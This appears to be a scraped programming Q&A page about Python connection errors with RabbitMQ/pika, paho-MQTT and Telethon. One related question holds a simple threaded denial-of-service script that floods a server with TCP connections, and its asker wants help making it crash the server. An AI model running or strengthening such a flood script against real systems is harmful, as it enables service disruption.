Connection error for RabbitMQ - python

I am completely new to MQs and pika.
When I am trying to execute this code(server code) I am getting errors:
(I am getting same error for receiver code also.)
import pika
connection = pika.BlockingConnection(pika.ConnectionParameters(
host="localhost:5672"))
channel = connection.channel()
channel.queue_declare(queue='hello')
channel.basic_publish(exchange='',
routing_key='hello',
body='Hello World!')
print(" [x] Sent 'Hello World!'")
connection.close()
Error :
Traceback (most recent call last):
File "D:\Workspace\Luna_WS\MQ\RabbitMQ\Sample\Src\Sample.py", line 10, in <module>
host="localhost:5672"))
File "C:\Python34\lib\site-packages\pika\adapters\blocking_connection.py", line 339, in __init__
self._process_io_for_connection_setup()
File "C:\Python34\lib\site-packages\pika\adapters\blocking_connection.py", line 374, in _process_io_for_connection_setup
self._open_error_result.is_ready)
File "C:\Python34\lib\site-packages\pika\adapters\blocking_connection.py", line 395, in _flush_output
raise exceptions.ConnectionClosed()
pika.exceptions.ConnectionClosed
I had installed: (using windows 7, 32 bit)
pikka package - pika-0.10.0-py2.py3-none-any.whl
Erlang - esl-erlang_18.2-1-windows_i386
RabbitMq server - rabbitmq-server-3.6.0

Try splitting the host into separate host and port connection parameters:
connection = pika.BlockingConnection(
pika.ConnectionParameters(host="localhost", port=5672))

Related

ConnectionRefusedError: [Errno 111] Connection refused - MQTT.connect()

I would like some ideas please to catch the error below.
I know what caused the error - I stopped the mosquitto service.
This is a test case because in the real world the broker is on another machine (controlled by HomeAssistant)
In the case of an overall restart / power failure etc there is no guarantee what order devices restart in.
I would like this slave to quietly retry until everything is OK.
I was hoping it could be controlled in the on_connect callback but it never gets that far
it is crashing on the 'G_mqtt_client.connect' call
Traceback (most recent call last):
File "/home/pi/Documents/Code/watering_ctrl_1v00.py", line 382, in <module>
mqtt_initialisation()
File "/home/pi/Documents/Code/watering_ctrl_1v00.py", line 202, in mqtt_initialisation
G_mqtt_client.connect(params.G_broker_url, params.G_broker_port)
File "/home/pi/.local/lib/python3.9/site-packages/paho/mqtt/client.py", line 914, in connect
return self.reconnect()
File "/home/pi/.local/lib/python3.9/site-packages/paho/mqtt/client.py", line 1044, in reconnect
sock = self._create_socket_connection()
File "/home/pi/.local/lib/python3.9/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection
return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source)
File "/usr/lib/python3.9/socket.py", line 843, in create_connection
raise err
File "/usr/lib/python3.9/socket.py", line 831, in create_connection
sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused
relevant part of my code
def mqtt_initialisation():
mod = '(messaging.initialisation) '
## establish callback routines - actions to take when events occur
G_mqtt_client.on_connect = on_mqtt_connect
G_mqtt_client.on_disconnect = on_mqtt_disconnect
G_mqtt_client.on_message = message_received
G_mqtt_client.on_log = on_mqtt_log
G_mqtt_client.username_pw_set(params.G_broker_user, params.G_broker_pwd)
G_mqtt_client.connect(params.G_broker_url, params.G_broker_port)
G_mqtt_client.loop_start()
main_log.debug(mod + "after Mqtt client loop start")
def on_mqtt_connect(client, userdata, flags, rc):
main_log.info("MQTT Connected With Result Code " + str(rc)) ## happens at start and if re-connected
do_subscribe()
def on_mqtt_disconnect(client, userdata, rc):
main_log.info("MQTT Client Got Disconnected") ## this appears if, say, mosquitto goes offline
def on_mqtt_log(client, userdata, level, buff):
main_log.info("MQTT Client error ...")
main_log.info(buff)

Python paho mqtt throw Type Error: "an integer is required"

I have five raspberry pi 3 to collect IOT data. Only one client throw this error,
Here is the traceback message:
Traceback (most recent call last):
File "./uploadRecordDegree.py", line 57, in <module>
auth=auth, client_id=client_id)
File "/usr/local/lib/python3.5/dist-packages/paho/mqtt/publish.py", line 232, in single
protocol, transport, proxy_args)
File "/usr/local/lib/python3.5/dist-packages/paho/mqtt/publish.py", line 167, in multiple
client.connect(hostname, port, keepalive)
File "/usr/local/lib/python3.5/dist-packages/paho/mqtt/client.py", line 941, in connect
return self.reconnect()
File "/usr/local/lib/python3.5/dist-packages/paho/mqtt/client.py", line 1119, in reconnect
return self._send_connect(self._keepalive)
File "/usr/local/lib/python3.5/dist-packages/paho/mqtt/client.py", line 2647, in _send_connect
self._pack_str16(packet, self._client_id)
File "/usr/local/lib/python3.5/dist-packages/paho/mqtt/client.py", line 2496, in _pack_str16
packet.extend(data)
TypeError: an integer is required
Here is my test code:
BOX = {"1234": "balabala"}
host = "192.168.10.11"
port = 1883
topic = "iot/device"
auth = {'username': 'xxxx','password': 'xxxxx'}
payload = json.dumps(BOX)
client_id = "testNode"
publish.single(topic, payload, qos=1, hostname=host, port=port,
auth=auth, client_id=client_id)
My Python version is 3.5.2
paho-mqtt version is 1.5.1
Each client is in the same paho-mqtt version, same code.
I cant figure out what's the problem going.

Exception in Socket Threading - No connection could be made because the target machine actively refused it

I'm trying to simulate a simple DOS attack using sockets in python . In the DOS Script , I use threads to create multiple attacks on the server . But , some threads are being executed and the program just stops in between after a few threads/after a few successive attacks.
I'm getting Errors on both the Server and the DOS attacker and they just stop executing .
Below is my code for the web server :
import socket
import os
#from socket import *
def create_server():
server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
server_socket.bind(('--my_ip--',9000))
server_socket.listen(5)
while(1):
(client_socket , address) = server_socket.accept()
print('accepted')
data = client_socket.recv(5000).decode()
parts = data.split('\n')
if(len(parts) > 0):
print(parts[0])
if(data):
print(repr(data))
else:
print('data not received')
d = "HTTP/1.1 200 OK\r\n"
d += "Content-Type: text/html; charset=utf-8\r\n"
d += "\r\n"
d += "<html><body>Hello World</body></html>\r\n\r\n"
client_socket.sendall(d.encode())
client_socket.shutdown(socket.SHUT_RDWR)
except KeyboardInterrupt :
print('Shutting down')
#except Exception as exc :
# print('Error :')
# print(exc)
server_socket.close()
print('http://--my_ip--:9000')
create_server()
My DOS script using threading :
import socket
import threading
import random
import time
import sys
target ='--My IP--'
fake_ip = '123.231.44.22'
port = 9000
msg = bytes(random.getrandbits(10))
duration = 60 # in seconds
timeout = time.time() + duration
def attack():
sent_packets = 0
while True:
attack_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
attack_socket.connect(('--my_ip--',port))
attack_socket.sendto(('GET /' + target + "HTTP/1.1\r\n").encode('ascii'),(target,port))
#attack_socket.sendto(('HOST :' + fake_ip + "\r\n\r\n").encode('ascii'),(target,port))
sent_packets += 1
attack_socket.close()
for i in range(500):
thread = threading.Thread(target=attack)
thread.start()
On the server side , I'm getting the error :
http://--my_ip--:9000
accepted
GET /--ip--HTTP/1.1
'GET /--ip--4HTTP/1.1\r\n'
accepted
GET /--ip--HTTP/1.1
'GET /--ip--HTTP/1.1\r\n'
accepted
GET /--ip--HTTP/1.1
'GET /--ip--HTTP/1.1\r\n'
accepted
GET /--ip--HTTP/1.1
'GET /--ip--HTTP/1.1\r\n'
Traceback (most recent call last):
File "<ipython-input-1-417f30320ecc>", line 1, in <module>
runfile('D:/Networks/Package/server.py', wdir='D:/Networks/Package')
File "C:\Users\91887\Anaconda3\lib\site-packages\spyder_kernels\customize\spydercustomize.py", line 827, in runfile
execfile(filename, namespace)
File "C:\Users\91887\Anaconda3\lib\site-packages\spyder_kernels\customize\spydercustomize.py", line 110, in execfile
exec(compile(f.read(), filename, 'exec'), namespace)
File "D:/Networks/Package/server.py", line 51, in <module>
create_server()
File "D:/Networks/Package/server.py", line 39, in create_server
client_socket.shutdown(socket.SHUT_RDWR)
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
And , on the DOS side :
Exception in thread Thread-88:
Traceback (most recent call last):
File "C:\Users\91887\Anaconda3\lib\threading.py", line 926, in _bootstrap_inner
self.run()
File "C:\Users\91887\Anaconda3\lib\threading.py", line 870, in run
self._target(*self._args, **self._kwargs)
File "D:/Networks/Package/DOS_script.py", line 24, in attack
attack_socket.connect(('--my_ip--',port))
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
Exception in thread Thread-35:
Traceback (most recent call last):
File "C:\Users\91887\Anaconda3\lib\threading.py", line 926, in _bootstrap_inner
self.run()
File "C:\Users\91887\Anaconda3\lib\threading.py", line 870, in run
self._target(*self._args, **self._kwargs)
File "D:/Networks/Package/DOS_script.py", line 24, in attack
attack_socket.connect(('--my_ip--',port))
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
and so on ... for many threads
I don't seem to understand what is causing this issue at all . What is wrong with my code ?
Could someone please help me resolve this error so that I'm able to make a DOS attack on my server to crash it ? And , Of course , I'm not doing anything illegal.

Running telethon on pythonanywhere

try to run a basic scripts that adds members to a telegram group over pythoneverywhere server. I installed the main package which is telethon in the server. but i am getting the error in the image below. what am i not doing right?
error message is given below
21:02 ~/Villians TV/Villians5/TeleGram-Scraper-master $ python3 villians5.py
Traceback (most recent call last):
File "villians5.py", line 17, in <module>
client.connect()
File "/home/somti13/.local/lib/python3.8/site-packages/telethon/sync.py", line 39, in syncified
return loop.run_until_complete(coro)
File "/usr/lib/python3.8/asyncio/base_events.py", line 608, in run_until_complete
return future.result()
File "/home/somti13/.local/lib/python3.8/site-packages/telethon/client/telegrambaseclient.py", line 472, in connect
if not await self._sender.connect(self._connection(
File "/home/somti13/.local/lib/python3.8/site-packages/telethon/network/mtprotosender.py", line 125, in connect
await self._connect()
File "/home/somti13/.local/lib/python3.8/site-packages/telethon/network/mtprotosender.py", line 250, in _connect
raise ConnectionError('Connection to Telegram failed {} time(s)'.format(self._retries))
ConnectionError: Connection to Telegram failed 5 time(s)
The mtproto connection type for telegram does not work for free accounts on PythonAnywhere. Only http(s) connections out of PythonAnywhere will work for free accounts.

How to debug "pika.exceptions.AuthenticationError: EXTERNAL" error when establishing TLS connection to RabbitMQ?

I have a RabbitMQ 3.6.1 server on Ubuntu 14.04 running properly. I tried to configure an SSL listener according to official documentation. No problems during the startup.
However when trying to establish a connection, I get the following error on Python/pika side (full transcript below):
pika.exceptions.AuthenticationError: EXTERNAL
What does EXTERNAL mean here? How to debug / get further details of the error?
Course of actions (to test I used a Vagrant box and a local connection):
RabbitMQ starts SSL Listener on port 5671 (per /var/log/rabbitmq/rabbit#rabbitmq-server.log):
started SSL Listener on [::]:5671
I execute the pika.BlockingConnection on the client side.
On the server side I can see an incoming connection:
=INFO REPORT==== 17-Apr-2016::17:07:15 ===
accepting AMQP connection <0.2788.0> (127.0.0.1:48404 -> 127.0.0.1:5671)
Client fails with:
pika.exceptions.AuthenticationError: EXTERNAL
Server timeouts:
=ERROR REPORT==== 17-Apr-2016::17:07:25 ===
closing AMQP connection <0.2788.0> (127.0.0.1:48404 -> 127.0.0.1:5671):
{handshake_timeout,frame_header}
Full transcript of the client side:
>>> import pika, ssl
>>> from pika.credentials import ExternalCredentials
>>> ssl_options = ({"ca_certs": "/etc/rabbitmq/certs/testca/cacert.pem",
... "certfile": "/etc/rabbitmq/certs/client/cert.pem",
... "keyfile": "/etc/rabbitmq/certs/client/key.pem",
... "cert_reqs": ssl.CERT_REQUIRED,
... "server_side": False})
>>> host = "localhost"
>>> connection = pika.BlockingConnection(
... pika.ConnectionParameters(
... host, 5671, credentials=ExternalCredentials(),
... ssl=True, ssl_options=ssl_options))
Traceback (most recent call last):
File "<stdin>", line 4, in <module>
File "/usr/local/lib/python2.7/dist-packages/pika/adapters/blocking_connection.py", line 339, in __init__
self._process_io_for_connection_setup()
File "/usr/local/lib/python2.7/dist-packages/pika/adapters/blocking_connection.py", line 374, in _process_io_for_connection_setup
self._open_error_result.is_ready)
File "/usr/local/lib/python2.7/dist-packages/pika/adapters/blocking_connection.py", line 410, in _flush_output
self._impl.ioloop.poll()
File "/usr/local/lib/python2.7/dist-packages/pika/adapters/select_connection.py", line 602, in poll
self._process_fd_events(fd_event_map, write_only)
File "/usr/local/lib/python2.7/dist-packages/pika/adapters/select_connection.py", line 443, in _process_fd_events
handler(fileno, events, write_only=write_only)
File "/usr/local/lib/python2.7/dist-packages/pika/adapters/base_connection.py", line 364, in _handle_events
self._handle_read()
File "/usr/local/lib/python2.7/dist-packages/pika/adapters/base_connection.py", line 415, in _handle_read
self._on_data_available(data)
File "/usr/local/lib/python2.7/dist-packages/pika/connection.py", line 1347, in _on_data_available
self._process_frame(frame_value)
File "/usr/local/lib/python2.7/dist-packages/pika/connection.py", line 1414, in _process_frame
if self._process_callbacks(frame_value):
File "/usr/local/lib/python2.7/dist-packages/pika/connection.py", line 1384, in _process_callbacks
frame_value) # Args
File "/usr/local/lib/python2.7/dist-packages/pika/callback.py", line 60, in wrapper
return function(*tuple(args), **kwargs)
File "/usr/local/lib/python2.7/dist-packages/pika/callback.py", line 92, in wrapper
return function(*args, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/pika/callback.py", line 236, in process
callback(*args, **keywords)
File "/usr/local/lib/python2.7/dist-packages/pika/connection.py", line 1298, in _on_connection_start
self._send_connection_start_ok(*self._get_credentials(method_frame))
File "/usr/local/lib/python2.7/dist-packages/pika/connection.py", line 1077, in _get_credentials
raise exceptions.AuthenticationError(self.params.credentials.TYPE)
pika.exceptions.AuthenticationError: EXTERNAL
>>>
The Python / pika code in the question is correct.
The error:
pika.exceptions.AuthenticationError: EXTERNAL
is reported when client certificate authorisation is not enabled on the RabbitMQ server side. The word EXTERNAL in the error refers to the authentication mechanism as described here.
To enable:
rabbitmq-plugins enable rabbitmq_auth_mechanism_ssl

Categories

Resources